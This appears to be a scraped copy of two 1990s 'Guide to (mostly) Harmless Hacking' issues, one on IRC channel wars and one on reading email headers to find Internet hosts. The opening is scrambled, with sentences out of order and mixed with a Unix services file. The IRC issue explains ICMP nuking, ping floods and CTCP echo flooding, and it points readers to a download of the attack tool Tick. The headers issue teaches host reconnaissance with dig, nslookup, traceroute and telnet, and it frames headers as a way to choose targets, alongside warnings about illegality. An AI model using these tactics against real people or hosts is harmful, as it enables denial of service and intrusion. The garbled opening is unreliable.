nmia..2. Alas.16 90/01/03 SMI # # Network services. Some day when we’re really ancient.. But let’s say you’d rather hang in there.# @(#)services 1. port surfing over 6 years ago.sprintlink. All I can pick up on their Web site today is pretty vague. the only answer I get other than “Connection refused” is: ->telnet ns... one of the best . Sprintlink used to give out much more information than they do today.net/SPLK/HB21. Warbeast. How do you think people like me feel.. What’s the big deal about IRC and hackers? Sheesh. and so on.59.. Yes.. after surfing about two dozen somewhat randomly chosen netstat ports.10 . there used to be zillions of open ports and people could choose ANY password they wanted. I remember when we could port surf! Why. 3 Number 3 How to keep from getting kicked off IRC! ____________________________________________________________ Our thanks to Patrick Rutledge. ___________________________________________________________ GUIDE TO (mostly) HARMLESS HACKING Vol. we’ll be telling people. “Gee. Connected to ns.nmia. until you get on a server where hacker wars reign. but will I see the EASTER BUNNY in skintight leather at an IRON MAIDEN concert? Now what about all those Sprintlink routers in that traceroute? That’s a major Internet backbone based in the US provided by Sprint. ************************* In fact. Meltdown and k1neTiK... but more secure.” Our thanks to Damien Sorder (jericho@dimensional. It also probably won’t list specialized services like all those Cisco router port assignments. You may want to hang in there because if you want to make friends quickly in the hacker world..166.com 15 Trying 198. Sigh. Escape character is '^]'. just because your shell account has a list of port assignments doesn’t mean they are actually in use. who all provided invaluable information on the burning question of the IRC world: help. What the heck do you do to keep from getting clobbered over and over again? Of course you could just decide your enemies can go to heck. say five years from now.com) for assistance in reviewing and contributing to this GTMHH.. The Internet is getting less friendly. You can get some information on the topology of the Sprintlink backbone at http://www. IRC is sooo easy to use.html#2. Alas. Hmph! Today it’s just firewalls everywhere you look!” Adds Sorder. Internet style # This file is never consulted when the NIS are running # tcpmux 1/tcp # rfc-1078 echo 7/tcp . “Why.com. they’re nuking meee.

com domain. *********************** Newbie note: Any program that uses a resource is called a “client. it can give you a good hacker workout. Customer service at your ISP should be able to help you with instructions on how to use it. In some ways IRC is like CB radio. it’s soon gone from the screen. EFNet (Eris-Free Network)links many IRC servers. It is reputed to be a “war ground” where you might get a chance to really practice the IRC techniques we cover below. If an IRC network were to ban the aol. ************************************ Newbie note: A domain is the last two (or sometimes three or four) parts of your email address.com is the domain name for America Online. Even easier yet. it is widely used by hackers. with lots of folks flaming and making fools of themselves in unique and irritating ways. So don’t expect to see timeless wisdom and wit scrolling down your computer screen. .ways is over Internet Relay Chat (IRC). You’d better hope that word doesn’t get out to all the IRC addicts on your ISP that you were the dude that got you guys all kicked out. Also. you can run IRC straight from your browser once you have surfed into a Web-based IRC server. Heck. aol. they can ban you for good. Ahem. It can be more fun than Usenet where it can take from minutes to hours for people’s replies to turn up. But this means.” Your IRC client program runs on either your home computer or shell account computer and connects you to an IRC server program which runs on a remote computer somewhere on the Internet. if your Web browser is set up to use Java. ************************************ IRCNet is probably the same size if not larger than Undernet. ************************************ ************************************ You can get punched in the nose warning: If the sysadmins at your ISP were to find out that you had managed to get their entire domain banned from an IRC net on account of committing ICMP bombing or whatever. That is. if you say something you regret. They can even ban your whole domain. IRCNet is basically the European/Australian split off from the old EFNet. It was originally started by the Eris FreeNet (ef. lots of IRC cops! The operators of these IRC servers have permission to kill you not only from a channel but also from a server. they will be truly mad at you! You will be lucky if the worst that happens is that you lose your account. *********************** You may already have an IRC server running on your ISP. On IRC a group of people type messages back and forth on a screen in almost real time. Undernet is one of the largest networks of IRC servers. And unlike Usenet. given the wars you can fight for control of IRC channels. But because IRC is such an inexpensive way for people from all over the world to quickly exchange ideas. To get on IRC you need both an IRC client program and you need to connect to a Web site or Internet Service Provider (ISP) that is running an IRC server program. Where are good IRC servers for meeting other hackers? There are several IRC servers that usually offer hacker channels.net). that would mean every single person on America Online would be banned from it. The main purpose of Undernet is to be a friendly place with IRC wars under control.” Any program that offers a resource is a “server. yes. it will soon be gone if no one is logging the session. For example.

Make the person explain who he or she is and why the email address is different. To learn how to contact them. IRC is not so much phun any more because some d00dz aren’t satisfied with using it to merely say naughty words and cast aspersions on people’s ancestry and grooming habits. So if you are going to OP a friend.com. But this is easier said than done. ************************************** . Also. maybe someone who you think is your good buddy is begging you to please.” This includes forged messages such as EOF (end of file).altavista.org/. This is because they are too chicken to start brawls in bars. the first person to start up a channel on an IRC server is automatically the operator (OP). please give him a turn being the operator. dead socket. You can locate additional IRC servers by surfing over to http://hotbot. You may not want to appear stuck up by refusing to OP anyone.” Some IRC servers are ideal for the elite hacker.irchelp. Also. There are at least 80 IRC networks in existence. Ideally. You see. don’t assume it’s who you think it is! Check the host address associated with the nick by giving the command "/whois IRCnick" where “IRCnick” is the nickname of the person you want to check. Your real trouble comes when people deploy “nukes” and “ICBMs” against you. etc. This “/whois” command will give back to you the email address belonging to the person using that nick.net” instead of the address you expected. first you’ll need to know some of the ways you can get kicked off IRC by these bullies. **************************************** But before you get too excited over trying out IRC. if the operator wants to. But we’re going to show some simple.com or http://digital. However. when you leave the channel you would pass this status on to a friend your trust. It is a friendly thing to give OP to your buddies. **************************************** Evil genius tip: Get on an IRC server by telneting straight in through port 6667 at the domain name for that server. “Nuking” is also known as “ICMP Bombing. for example. The operator has the power to kick people off or invite people in. The simplest way to get in trouble is to accidentally give control of your IRC channel to an impostor whose goal is to kick you and your friends off. You may decide to hand over the OP to him or her in order to demonstrate friendship. They get their laughs by kicking other people off IRC entirely. let us warn you. But entering a fake nick when entering an IRC server is only the simplest of ways someone can sabotage an IRC session. But if you mess up and accidentally OP a bad guy who is pretending to be someone you know and trust. how can you really tell that IRC dude is your friend? Just because you recognize the nick (nickname). say friend@cool. then DO NOT OP him.Yes. he or she may pass operator status on to someone else. Note that is a “zero” not an “O” in l0pht. Get on the right IRC network and you can be making friends with hackers on any continent of the planet. redirect. your fun chat can become history.com and searching for “IRC server. If you see. effective ways to keep these lusers from ruining your IRC sessions. surf over to: http://www. “d***@wannabe. for example the l0pht server. So they beat up on people in cyberspace where they don’t have to fret over getting ouchies. One way to keep this all this obnoxious stuff from happening is to simply not OP people you do not know. IRC is a world-wide phenomenon.

This is called a “dynamically assigned IP address. ******************************************* . ************************************** ************************************** You can go to jail warning: ICMP attacks constitute illegal denial of service attacks. quit sending me that stuff. you are unlikely to suffer anything worse than getting banned or possibly K:lined for doing it.edu.Newbie note: ICMP stands for Internet Control Message Protocol. Then this character can take over your IRC session and may masquerade as you.edu” will also be banned. If your IRC enemy spoofs a message that your socket is dead. on IRC it is possible to identify the dynamically assigned IP address of your home computer and send stuff directly to your modem! If the bully has a decent computer. For example. text must pass through an IRC server. he or she may be able to ping yours badly enough to briefly knock you out of IRC. The purpose of flooding is to send so much garbage to a client that its connection to the IRC server either becomes useless or gets cut off. For example. Yes. ICMP redirect messages are used by routers to tell other computers “Hey. Send it to routerx.” The idea is that a bully will find out what Internet host you are using. They are not just harmless harassment of a single person on IRC. however. This is an class of IRC attacks that go beyond exploiting quirks in the IRC server program to take advantage of major league hacking techniques based upon the way the Internet works. your ISP’s host computer assigns you an Internet Protocol (IP) address which may be different every time you log on.” In some cases.” “Dead socket” refers to connections such as your PPP session that you would be using with many IRC clients to connect to the Internet. Most IRC servers also have text flood filters. Because text flooding is basically harmless. text flooding is almost always unsuccessful because almost any IRC client (the program you run on your computer) has text flood control. and then give the command “ping-f” to your host computer.foobar. This would keep the IRC screen filled with your junk and scroll the others’ comments quickly off the screen. Even if it doesn’t. disputing service to all who are using it. known as “ICBM flood or ICMPing. ********************** Newbie note: When you connect to the Internet with a point-to-point (PPP) connection. then every person whose email address ends with “giantstate. Text flooding is the simplest attack. Probably the most devastating IRC weapon is the flood ping. ********************** Now let’s consider in more detail the various types of flooding attacks on IRC. but may affect an entire Internet host computer. the ISP has arranged to assign the uses the same IP address each time. you could just hold down the “x” key and hit enter from time to time. However. if you are a student at Giant State University with an email address of IRCd00d@giantstate. EOF stands for “end of file.net instead!” So an ICMP redirect message could cause your IRC messages to go to bit heaven instead of your chat channel. but anyone who is in your domain from an IRC server. That’s what the program “ICMP Host Unreachable Bomber for Windows” does. your IRC chat session can’t get any more input from you. ****************************************** Newbie note: “K:line” means to ban not just you. Or even to your home computer. *************************************** For example.

. But just about every Unix IRC program has at least some CATCH flood protection in it. ************************************** A similar attack is CATCH ping. Again. you get back “nick HELLO OUT THERE. and telling you how long it took for nick’s IRC client program to respond. For example. Examples are the programs LiCe and Phoenix. ****************************** Newbie note: A “bot” is a computer program that acts kind of like a robot to go around and do things for you. But a knowledgeable attacker will either be working in league with some friends who will be doing the same thing to you or else be connected with several different nicks to that same IRC server. it may just be a slow Internet. So if someone seems to be taking a long time to reply to you. So by having different versions of him or herself in the form of software bots making those CTCP echo requests. This is sort of like the ping you send to determine whether a host computer is alive. Of course your attacker could also get booted off for making all those CTCP echo requests. This attack is also fairly harmless. ban.Client to Client Protocol (CTCP) echo flooding is the most effective type of flood. we are looking at a fairly harmless kind of attack. give the command “/ctcp nick ECHO hello out there!” If “nick” (where “nick” is the IRC nickname of the person you are checking out) is still there. You can give the command “/ping nick” and the IRC client of the guy using that nick would respond to the IRC server with a message to be passed on to the guy who made the ping request saying “nick” is alive. Your attacker can also easily get the dynamically assigned IP (Internet protocol) address of your home computer and directly flood your modem. It is a command used within IRC to check to see if someone is still on your IRC channel. ************************************* ************************************* You can get punched in the nose warning: Bots are not permitted on the servers of the large networks. These scripts will run in the background of your Unix IRC session and will automatically kick in some sort of protection (ignore. So how do you handle IRC attacks? There are several programs that you can run with your Unix IRC program. So CTCP echo flooding spoofs the IRC into falsely cutting someone off by causing the victim’s IRC client to automatically keep on responding to a whole bunch of echo requests. the attacker stays on while the victim gets booted off. This is because most IRC servers will automatically cut you off if you try text flooding. But someone who wants to boot you off IRC can use the CTCP echo command to trick your IRC server into thinking you are hogging the channel with too much talking. some IRC bots wait for someone to use bad language and respond to these naughty words in annoying ways. It’s useful to know the response time because sometimes the Internet can be so slow it might take ten seconds or more to send an IRC message to other people on that IRC channel. so people who get caught doing this will only get banned or maybe K:lined for their misbehavior. kick) against attackers. Some bots are hard to tell from real people.” What has happened is that your victim’s IRC client program has automatically echoed whatever message you sent. How does the echo command work? To check whether someone is still on your IRC channel. The IRC Cops who control hacker wars on these networks love nothing more than killing bots and banning the botrunners that they catch.

That’s it for now. they’re nuking meee. when I first got on an IRC channel recently using Netscape 3.If you are running a Windows-based IRC client. if #evilhaxorchat is taken over. you may assume that like usual you are out of luck. thanks. just think about that purple nose and black eye you could get when all the other IRC dudes at your ISP or school find out who was the luser who got everyone banned. or ftp://cs-ftp.irchelp.it might be more embarrassing for you in the long run. And if you start IRC warrioring and get K:lined off the system. Now don’t try any funny stuff. Does this mean you are ready to go to war on IRC? Us Happy Hacker folks don’t recommend attacking people who take over OP status by force on IRC. Yeah.bu.cibola.01 running on Win 95. For instance.net/pub/irc/scripts.org/. you may download LiCe from ftp://ftp. But if you get Tick.super-highway. just remember our “You can get punched in the nose” warning! ********************************* Newbie note: For detailed instructions on how to run these IRC programs.localnet. Until you become an IRC master yourself. at this same site you can also download the attack program Tick from /pub/irc/tick. ____________________________________________________________ ___________________________________________________________ GUIDE TO (mostly) HARMLESS HACKING . see At http://www. Ahem.. remember this. For Windows 95 you may wish to use the mIRC client program. you’ll want to try out IRCII. You can find many copies of this ever popular RFC (Request for Comments) by doing a Web search. no.org . But this program isn’t enough to handle all the IRC wars you may encounter.questions ********************************* ********************************* Evil genius tip: Want to know every excruciating technical detail about IRC? Check out RFC 1459 (The IRC protocol). And remember to use what you learned in this Guide about the IRC whois command so that you DON’T OP people unless you know who they are. or http://www. In fact.org/. So you may wish to add the protection of the most user-friendly. As Patrick Rutledge says. this might sound like a wimp move.undernet. ******************************** Now let’s suppose you are all set up with an industrial strength IRC client program and war scripts.. It includes protection from ICMP ping flood. For added protection. we suggest you do no more than ask politely for OPs back. OK? Oh. Or go to Usenet and check out alt. just create #evilhaxorchat2 and "/invite IRCfriend" all your friends there. If they were able to sneak into the channel and get OPs just like that. If you surf IRC from a Unix box. then chances are they are much more experienced and dangerous than you are. But in fact there are great IRC war programs for both Windows 95 and Unix. powerful Windows 95 war script around: 7th Sphere. Better yet.net/users/govil/mirc40.edu/irc/. "/ignore nick" the l00zer and join another channel. the *first* thing the denizens of #hackers did was make fun of my operating system. You can get it from http://www.html. in the directory /pub/irc/clients/unix. You can download it from ftp. don't try . You can download it from http://www.irc.com/~marcraz/. but if you don't have a fighting chance.irchelp. Even if the other guys start it.

that’s how real hackers are supposed to figure out stuff when RTFM (read the fine manual) or RTFRFC (read the fine RFC)doesn’t tell us as much as we want to know. 1521 and 1891 (not a complete list). take your Web browser to http://altavista. However.com and search for “RFC 822” etc. The targets: ISPs offering download sites for email bomber programs. To read them. you 31337 haxors win. the main way I researched this article was to send email back and forth among some of my accounts. every email header you check out has the potential to unearth a treasure hidden in some back alley of the Internet. Viva Unix! Headers may sound like a boring topic. 1123. the Eudora email program named the button you click to read full headers “blah blah blah. you can do much more with deciphering headers. OK. please include that information in your tirades! ********************************************* Technical tip: Information relevant to headers may be extracted from Requests for Comments (RFCs) 822 (best). Heck. Conclusion: it is time to talk headers! In this Guide we will learn: · what is a header · why headers are fun · how to see full headers · what all that stuff in your headers means · how to get the names of Internet host computers from your headers · the foundation for understanding the forging of email and Usenet posts.digital. Even the relevant RFC 822 is pretty vague. Now headers may seem simple enough to be a topic for one of our Beginners’ Series Guides. All you need is to be able to send and receive email. But when I went to look up the topic of headers in my library of manuals.” But all those guys who tell you headers are boring are either ignorant -or else afraid you’ll open a wonderful chest full of hacker insights. Right? . Hey. I’m finally releasing the next in our series of Guides oriented toward the intermediate hacker.or even suspected that for months almost all Happy Hacker mailings have doubled as protests. If any of you super-vigilant readers looking for flame bait happen to know of any literature that *does* cover headers in detail. and finding that RFC 822 didn’t answer all my questions. if you do have a shell account. and you are in business. The two I found that did cover headers said almost nothing about them. Yes. catching the people who forge headers. a few weeks ago I asked the 3000+ readers of the Happy Hacker list if anyone could tell me exactly what email tricks I was playing in the process of mailing out the Digests. and the theory behind those email bomber programs that can bring an entire Internet Service Provider (ISP) to its knees This is a Guide you can make at least some use of without getting a shell account or installing some form of Unix on your home computer.Vol 3 Number 4 How to Read Email Headers and Find Internet Hosts Warning: flamebait enclosed! ____________________________________________________________ OK. But not one person replied with a complete answer -or even 75% of the answer -. trying out many variations in order to see what kinds of headers they generated. I was shocked to find that most of them don’t even cover the topic. However. as well as 1042. Now some of you may think that headers are too simple or boring to waste time on. ********************************************* Lacking much help from manuals.

no> for <hacker@techbroker. Fri.com But if you know the right command. But first we must consider the burning question of the day: WHY ARE HEADERS FUN? Why bother with those “blah blah blah” headers? They are boring.SGI) for techbr@fooway.foobar. 2) Ever wonder who really mailed that “Make Money Fast” spam? Or who is that klutz who email bombed you? The first step to learning how to spot email forgeries and spot the culprit is to be able to read headers. with this same email message.no [129. you can find gazillions of valid addresses without the crutch of one of these programs simply by reading the headers of emails.foobar.6. 11 Apr 1997 18:09:53 GMT Date: Fri.6.foobar. Chances are that when you get email it looks something like this: From: Vegbar Fubar <fooha@ifi.no> Received: from localhost (Vegbarha@localhost) by gyllir.net via ESMTP (950413.foobar.com> .gyllir@ifi.12/951211. . the headers you are used to seeing may be incomplete. All email addresses and domain names below have been fubarred. 11 Apr 1997 20:09:56 +0200 From: Vegbar Fubar <fooha@ifi. but let’s be honest about the kinds of knowledge their creators must draw upon.net (950413.no> To: hacker@techbroker. Fri. ************************************************ Newbie note: The verb “to fubar” means to obscure email addresses and Internet host addresses by changing them. right? Wrong! 1) Ever hear a wannabe hacker complaining he or she doesn’t have the addresses of any good computers to explore? Have you ever used one of those IP scanner programs that find valid Internet Protocol addresses of Internet hosts for you? Well.11/ifi2.com Hey.foobar.8.One last thing. Fri. suddenly.no with ESMTP (8.com> id OAA18967.no> Date: Fri.foobar.ifi.ifi. we are looking at tons and tons of stuff: Received: by o200. People have pointed out to me that every time I put an email address or domain name in a Guide to (mostly) Harmless Hacking.net id OAA07210. Fri. 11 Apr 1997 18:09:53 GMT To: hacker@techbroker.) The first step is to understand headers.fooway.ifi.4) id <UAA24351@ifi.SGI.fooway. a zillion newbies launch botched hacking attacks against these.no by o200.64.foobar. Ancient tradition holds that it is best to do so by substituting “foobar” or “fubar” for part of the address.no (2234@gyllir.12/951211.230]) by ifi.foobar.SGI. 11 Apr 1997 18:09:53 GMT Message-Id: <199704111809. 11 Apr 1997 14:09:58 -0400 Received: from gyllir. 11 Apr 1997 14:10:06 -0400 Received: from ifi. 3) Want to learn how to convincingly forge email? Do you aspire to write automatic spam or email bomber programs? (I disapprove of spammer and email bomb programs.8.SGI) for <hacker@techbroker.foobar.no .6. have you ever wondered why all that stuff is there and what it means? We’ll return to this example later in this tutorial.xxx.13156. ************************************************ WHAT ARE HEADERS? If you are new to hacking.

Want to see all the hidden stuff? The way you do this depends on what email program you are using. then click the “Show All Headers” item. I can see the flames coming. To see full headers. It is included in the Windows 95 operating system and is the best Windows editing program I have found for handling documents with lots of embedded control characters and other oddities. you may find it isn’t as easy to use as those glitzy Windows email programs. So no matter how often Microsoft patches its security flaws. Then in the Setup menu choose “c” for Config. no. To do this. a tribute to the really. Just say “no” to IE. Compuserve! Pine is the most popular email program used with Unix shell accounts. you will have to go into the Setup menu to enable this command. To see full headers in Eudora. so like it or not. Both Pine and Elm date back to ARPAnet. Oh. while viewing an email message. but I haven’t found it. click on Options. “PINE is the University of Washington's ‘Program for Internet News and Email’. OK. how dare I not learn the ins and outs of IE mail! But. The hard way to see full headers in Pegasus -. The Netscape web browser includes an email reader. Maybe there is an easy way to see full headers in Pegasus.4) Want to attack someone’s computer? Find out where best to attack from the headers of their email. But aside from its amazing powers. Since in order to be a real hacker you will sooner or later be using Unix. If this doesn’t work. HOW CAN YOU SEE FULL HEADERS? So you look at the headers of your email and it doesn’t appear have any good stuff whatsoever. According to the official blurb. I disapprove of this use. the US Defense Advanced Research Projects Agency computer network that eventually mutated into today’s Internet. I haven’t looked into how to do that with Internet Explorer. Another popular email program is Pegasus. The Compuserve 3. The most popular email program today is Eudora. If you want to be a real hacker.91 SETUP CONFIGURATION Folder: INBOX 2 Messages . at the cursor in your Unix shell simply type in “pine. go to the main menu and give the command “s” for Setup. ************************************************* Newbie note: Pine stands for Pine Is Not Elm. there is a really good reason to learn to compose email in Pine: you get practice using pico editor commands. just click the “blah. But I’m dedicated to telling you the truth about hacking. IE is a dangerously insecure Web browser because it is actually a Windows shell.01 email program automatically shows full headers. Sorry. truly ancient Elm email program (which is still in use). blah. blah” button on the far left end of the tool bar. On the second page of the Config menu you will see something like this: PINE 3.” In Pine. that was a joke. chances are you will be hurt by it one of these days.or any email program -.” ************************************************* If you have never used Pine before.or IE -. Bravo. you will be using the pico editor (or another editor that uses similar commands) someday when you are writing programs in a Unix shell. here it is.is to open your mail folders with Wordpad. too. To bring up Pine. seriously. you may be able to see full headers by simply hitting the “h” key. now may be a great time to start using Pine. OK.

no> Date: Fri.12/951211. In this case the only fields that show are “From:.8. 11 Apr 1997 14:10:06 -0400 . when you are reading your email you will be able to see full headers by giving the “h” command. The give “e” to exit saving the change.” and “To:”. In this case the only field that shows which gives information on the handling of the message is the Date field. and the contents of the field. we are able to see all the fields of the header. and everything else. We will decipher it piece by piece.” “Date:.fooway. WHAT DOES ALL THAT STUFF IN YOUR HEADERS MEAN? We’ll start by taking a look at a mildly interesting full header.SGI.SGI)for techbr@fooway.net id OAA07210.foobar. which is information specific to the handling of the message. 11 Apr 1997 18:09:53 GMT To: hacker@techbroker.com The information within any header consists of a series of fields separated from each other by a “newline” character. Finally we will look at a forged header. In every header there are two classes of fields: the “envelope. First we look at the simple version: From: Vegbar Fubar <fooha@ifi.PrevPage X [Set/Unset] N Next Spc NextPage W WhereIs You first highlight the line that says “enable-full-header-command” and then press the “x” key.6. We will now go through this information line by line. Elm is another Unix email reading program. Fri. which includes no spaces and is terminated by a colon. Once you have done this. It actually gives slightly more detailed headers than Pine. OK. Each field consists of two parts: a field name. let us return to that fairly ordinary full header we looked at above. and automatically shows full headers. Then we’ll examine two headers that reveal some interesting shenanigans.net (950413. Received: by o200.” which contains only the sender and recipient fields. When we expand to a full header.[ ] compose-rejects-unqualified-addrs [ ] compose-sets-newsgroup-without-confirm [ ] delete-skips-deleted [ ] enable-aggregate-command-set [ ] enable-alternate-editor-cmd [ ] enable-alternate-editor-implicitly [ ] enable-bounce-cmd [ ] enable-flag-cmd [X] enable-full-header-cmd [ ] enable-incoming-folders [ ] enable-jump-shortcut [ ] enable-mail-check-cue [ ] enable-suspend [ ] enable-tab-completion [ ] enable-unix-pipe-cmd [ ] expanded-view-of-addressbooks [ ] expanded-view-of-folders [ ] expunge-without-confirm [ ] include-attachments-in-reply ? Help E Exit Config P Prev .

no got this email message from the computer gyllir. Under Unix this is done by setting up a file in your home directory named “.230]) by ifi.11/ifi2.no passed this email to the POP server on o200. OK?) But since I am trying to be a real hacker. A similar.71.SGI)for <hacker@techbroker.net for someone with the email address of hacker@techbroker.xxx.xxx.foobar.8. for Interactive Mail Access Protocol.This line tells us that I downloaded this email from the POP server at a computer named o200. Now there is a lot more behind this.2 . you will be a big hit at parties if you can hold forth on the differences between POP and IMAP.fooway. These two computers appear to be on the same LAN. The computer name gyllir.foobar. you big hunk of a hacker.ifi. RTFRFCs.10 Non-authoritative answer: Name: ifi.com> id OAA18967.) But the computer ifi.64.no didn’t have a number after its name.net.no Address: 129. This line tells us that a computer named ifi.SGI.6.foobar.no has a number after it.com Address: 198. (I substituted “.ifi.foobar.forward” with the address to which you want your email sent. I go to my trusty Unix shell account and give the command: >nslookup ifi.) ******************************************** Now we examine the second line of the header: Received: from ifi.” for three numbers in order to fubar the IP address. heh. In fact.8.net via ESMTP (950413.SGI.fooway. but more general protocol is IMAP. Can any of you evil geniuses out there figure out the whole story? “ESMTP” stands for “extended simple mail transfer protocol.12/951211. Your POP server is the computer that holds your email until you want to read it.230. Usually your the email program on your home computer or shell account computer will connect to port 110 on your POP server to get your email. Now for the next line in the header: Received: from gyllir.foobar.6.foobar. hacking is all about noticing these little mysteries and probing them (until you find something to break.net.12/951211.no by o200.foobar.64.4) id <UAA24351@ifi. gee.no> for <hacker@techbroker. 129.foobar. muhahaha -.no (2234@gyllir. How come? Now if you are working with Windows 95 or a Mac you probably can’t figure out this little mystery. ******************************************** Newbie note: POP stands for Post Office Protocol.6.64.SGI” designates the program that is handling my email. 11 Apr 1997 20:09:56 +0200 This line tells us that the computer ifi.net.foobar.SGI) part identifies the software name and version running that POP server.6.no. But trust me.no with ESMTP (8.no Server: Fubarino. but I’m not telling you.fooway. Fri.com> . 11 Apr 1997 14:09:58 -0400 Well. note something interesting.12/951211. This is the numerical representation of its name.SGI. This is because I am piping all email to hacker@techbroker.ifi.8.foobar. The (950413. Trust me.” The “950413.foobar. Heh.6. I didn’t promise that this header would be *totally* ordinary. This was done on behalf of my account with email address of techbr@fooway. Fri.xxx.only kidding.xxx. you! (Hint: for more info.foobar.com.no [129.ifi.com into the account techbr@fooway.

try the command “telnet localhost. A quick search of the mailing list for Happy Hacker reveals that some 5% of its almost 4. 11 Apr 1997 18:09:53 GMT I’m going to do some guessing here.no . So now we know that this land of the midnight sun is also a hotbed of hackers! Who said headers are boring? On to the next line. what does that “.xxx. 11 Apr 1997 18:09:53 GMT . and use of the Unix dig and nslookup commands.000 email addresses have the .ifi.” You’ll get a login sequence that gets you right back into your own account.6.foobar. wow. While in a Unix shell.no” mean.ifi.Notice the different numerical IP addresses between ifi. we are looking at a large network of Norwegian computers that includes SGI boxes. Fri. Oftentimes an ISP will have a Web page that is found by directing your browser to its domain name.000 students. We could find out just how many SGI boxes with patience. Hmmm..ifi. (SGI) machines. So I try out http://ifi. so I try http://www.no may be a pretty big deal. which has the name and email address of the sender: From: Vegbar Fubar <fooha@ifi.foobar.no.foobar. Aha. I get the home page for the University of Oslo Institutt for Informatikk.SGI.230.foobar.8.no domain.no.foobar. Next I check out www.foobar. scanning of neighboring IP addresses.no get to use SGI computers.. Probing around with dig and traceroute leads me to discover lots more computers in that domain. anyhow? A quick look at the International Standards Organization (ISO) records of country abbreviations.SGI). So.12/951211. I see “no” stands for Norway. I quickly test this hypothesis: > telnet gyllir.foobar.ifi.no got this email message from Vegbar Fubar on the computer “localhost.foobar.ifi. So I’m really tempted to learn more about this domain.no and learn the University of Oslo has some 39.no. Now wonder people with ifi. Say.no got the email message from “localhost” I assume that means the sender of this email was logged into a shell account on gyllir. Connected to gyllir. reindeer. So when I see that gyllir.foobar.4 (gyllir.ifi. This line says the computer gyllir.foobar.no. IRIX System V.no> Received: from localhost (Vegbarha@localhost) by gyllir.” Now “localhost” is what a Unix computer calls itself.foobar. SGI computers are optimized for graphics and scientific computing.no Trying 129.no in the header of (950413.foobar. and lots and lots of Internet hosts. I begin to think that the domain ifi. Now you don’t see SGI boxes just every day on the Internet. and that this computer runs Unix.no domain! But let’s get back to this header. Probing with nslookup in the mode “set type=any” tells me yet more. The next line is pretty simple. Escape character is '^]'. mountains. No wonder we find so many Internet host computers under the ifi. The Informatikk division has strengths in computer science and image processing.foobar. it looks like Norway is an arctic land of fjords.ifi.64.foobar.foobar. This fits with the name of the POP server software on ifi.no.no and gyllir.ifi.foobar. It doesn’t work.no) Now Irix is a Unix-type operating system for Silicon Graphics Inc.ifi. just the date: Date: Fri.foobar.

The Internet host computer that sent the email to galfina was mail6. is to not archive. Now we will leave the University of Norway and move on to a header that hides a surprise. 27 Apr 1997 22:53:36 -0400 Message-Id: <2.foo1. Others may leave out the “19” from the year. ************************************************** . We can guess that Fubarino. “Galfina” is my user name.193. The first part of this ID is the date and time.A.3/8.176 by csi. charset="us-ascii" To: galfina@Fubarino.com is not the full name because Fubarino is a big enough ISP to have several computers on a LAN to serve all its users.0 Content-Type: text/plain.com with Microsoft SMTPSVC.no.com [149.com [149. and gyllir@ifi.2 (16) Mime-Version: 1. “Fubarino. Sun.com [149.16. Some message IDs also include the time in seconds. (Gray Areas Liberation Front).6. All we get is a domain name and not the name of the computer from which I download my email. Sun. 199704111809 means 1997. for example those using sendmail. Sun. gyllir within the domain ifi. on which this record is stored.foo1. hah!) read by humans followed by the version of its name that a computer can more easily translate into the 0’s and 1’s that computers understand.xxx. an Internet host that doesn’t archive these message IDs is creating a potential haven for email criminals.75].xxx. 18:08 (or 6:08 PM).xxx.6.183.3/8. the message ID: Message-Id: <199704111809.com From: "Carolyn P. I chose it in order to irritate G.no> The message ID is the key to tracking down forged email.F.gyllir@ifi.6.com (8.183. Received: from NIH2WAAF (mail6.75]) by Fubarino.L.8.9) with ESMTP id XAA20854 for <galfina@Fubarino. But the default setting for some systems. Some sysadmins will archive the message IDs in case they need to find out who may have been abusing their email system.But now comes the most fascinating line of all in the header. Where on this computer are the records of the identities of senders of email stored? Now Unix has many variants.8.199.9) with ESMTP id XAA20854 for <galfina@Fubarino.xxx. 27 Apr 1997 23:07:01 GMT Received: from CISPPP .75]) by Fubarino. But notice it is a very partial computer name.19970428082132.com (8.183.com> Subject: Sample header Date: 27 Apr 1997 22:53:37 -0400 Let’s look at the first line: Received: from NIH2WAAF (mail6.3/8. The 13156 is a number identifying who wrote the email.no refers to the computer.csi.com>.csi. Avoiding the creation of a valid message ID is the key to using email for criminal purposes. Unfortunately.com”.9)” is the name of the computer that received the email for my galfina account.13156.csi. But often they will be in either the syslog files or usr/spool/mqueue.com> X-Sender: cmeinel@fubar. 27 Apr 1997 23:07:01 GMT This first line tells us that it was received by the email account “galfina@Fubarino. This computer name is given first in a form easily (ha. Meinel" <cmeinel@techbroker. so I’m not going to promise these records will be in a file of the same name in every Unix box.foo1.com>.com (8.foobar. Computer criminals go to a great deal of effort to find Internet hosts on which to forge email that will leave no trace of their activities through these message IDs.com>“ part. That’s the “for <galfina@Fubarino.foobar.com X-Mailer: Windows Eudora Pro Version 2.2cdf544e@fubar.foobar.8.2. April 11.

27 Apr 1997 22:53:36 -0400 CISPPP stands for Compuserve Information Services point to point protocol (PPP) connection. I explored the Fubarino. to find a whole bunch more names of Fubarino. day (28) and time (08:31:32). So there! . if you are patient a new exploit will almost certainly come out within the next few months.6.com> The number 2. I can only use Eudora to send email over a Compuserve connection but not to receive Compuserve email.com and milnet.com is using a version of sendmail that has been fixed from its most recently publicized security holes. which so far hasn’t had embarrassing problems. now let’s look at the next “received” line in that header: Received: from CISPPP . The cure for this problem may possibly be to run qmail.com computers. The 19970428082132 means the time I sent the email. I picked the Fubaretta ISP. ************************************************** The number after Fubarino.xxx.2.com ESMTP Sendmail 8.3/8.6. we try the command “telnet Fubarino. That is provided by the Internet host where a record of my use of fubaretta’s mail server has been stored. heck.3/8.199.2. The portion of the message ID “2cdf544e@fubaretta. So even though Fubarino.com (from “who” given while logged in my galfina account) Then using the numerical addresses given from the dig command with these names of Fubarino. by checking nearby numbers. because the message ID is created with the POP server that I specified with Eudora. dig.8. month (04). We also see that Compuserve uses the Microsoft SMTPSVC mail program. Sun.16.com? This is. and means I am using Eudora Pro 2. first of all. we see from the rest of the header that the sender (me) didn’t use the standard Compuserve mail interface: Message-Id: <2. was inserted by Eudora. Did you notice this message ID was not stored with Compuserve. However.2cdf544e@fubaretta.com (from command “dig Fubarino. in order of year (1997). But just to make sure.com 25.2.Evil genius tip: Want to find out the names of some of the computers on your ISP’s LAN? Commands that can dredge some of them up include the Unix commands traceroute. This means that the mail was sent from a PPP connection I set up through Compuserve. So.8. I can specify an arbitrary POP server when I send email over Compuserve from Eudora. Since Compuserve does not yet offer POP servers. 16-bit version. For example.Fubarino. We can guess from these numbers 8.com is running the Sendmail program.Fubarino.176 by csi.19970428082132.193.com with Microsoft SMTPSVC. ************************************************** Evil genius tip: Sendmail is notorious for flaws that you can use to gain root access to a computer. ************************************************** OK. 28 Apr 1997 09:55:58 GMT So from this we know Fubarino.9 ready at 